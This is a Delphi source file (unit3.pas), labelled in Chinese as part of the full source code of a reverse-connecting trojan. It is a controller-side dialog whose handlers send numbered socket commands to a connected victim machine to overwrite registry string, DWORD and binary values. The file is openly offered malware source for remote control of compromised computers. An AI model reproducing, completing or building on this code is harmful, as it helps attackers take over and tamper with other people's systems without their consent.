unit3.pas

反弹木马设计全部源码Delphi源码

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ExtCtrls;

type
  TForm3 = class(TForm)
    PA1: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    Edit1: TEdit;
    Edit2: TEdit;
    PA2: TPanel;
    Label3: TLabel;
    Label4: TLabel;
    Edit3: TEdit;
    Edit4: TEdit;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    PA3: TPanel;
    Label5: TLabel;
    Label6: TLabel;
    Edit5: TEdit;
    BitBtn5: TBitBtn;
    BitBtn6: TBitBtn;
    Edit6: TEdit;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure Edit4KeyPress(Sender: TObject; var Key: Char);
    procedure Edit2KeyPress(Sender: TObject; var Key: Char);
    procedure BitBtn4Click(Sender: TObject);
    procedure BitBtn6Click(Sender: TObject);
    procedure Edit6KeyPress(Sender: TObject; var Key: Char);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

uses Unit1;

{$R *.dfm}

procedure TForm3.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  form1.Enabled :=true;
end;

procedure TForm3.BitBtn3Click(Sender: TObject);
begin
  form3.Close ;
  form1.Enabled :=true;
end;

procedure TForm3.BitBtn1Click(Sender: TObject);
begin//修改字符串值
 form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('330'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
    '*'+form1.REGLV.Selected.Caption +'*'+edit2.Text) ;
 form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit2.Text ;
 form3.Close ;
 form1.Enabled :=true;
end;

procedure TForm3.Edit2KeyPress(Sender: TObject; var Key: Char);
begin//修改字符串值
 if key=chr(13) then
 begin
  form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('330'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
    '*'+form1.REGLV.Selected.Caption +'*'+edit2.Text) ;
  form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit2.Text ;
  form3.Close ;
  form1.Enabled :=true;
 end;
end;

procedure TForm3.BitBtn4Click(Sender: TObject);
begin//修改DWORD值
 form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('331'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
    '*'+form1.REGLV.Selected.Caption +'*'+edit4.Text) ;
 form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit4.Text ;
 form3.Close ;
 form1.Enabled :=true;
end;
     
procedure TForm3.Edit4KeyPress(Sender: TObject; var Key: Char);
begin//修改DWORD值
 if key=chr(13) then
  begin
   form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('331'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
    '*'+form1.REGLV.Selected.Caption +'*'+edit4.Text) ;
   form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit4.Text ;
   form3.Close ;
   form1.Enabled :=true;
  end;
 if key<>chr(8) then if (Key < '0') or (Key > '9') then Key := Chr(0);  
end;

procedure TForm3.BitBtn6Click(Sender: TObject);
begin //二进制
 if length(edit6.Text)<>8 then
  begin
    application.MessageBox('数据应为 8 个字符','提示！');
    exit;
  end;
 form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('332'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
    '*'+form1.REGLV.Selected.Caption +'*'+edit6.Text) ;
 form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit6.Text ;
 form3.Close ;
 form1.Enabled :=true;
end;

procedure TForm3.Edit6KeyPress(Sender: TObject; var Key: Char);
begin
 if key=chr(13) then
  begin
   if length(edit6.Text)<>8 then
    begin
      application.MessageBox('数据应为 8 个字符','提示！');
      exit;
    end;
   form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('332'+copy(form1.sb.Panels.Items[0].Text,10,length(form1.sb.Panels.Items[0].Text)-9)+
      '*'+form1.REGLV.Selected.Caption +'*'+edit6.Text) ;
   form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1]:=edit6.Text ;
   form3.Close ;
   form1.Enabled :=true;
  end;
end;

end.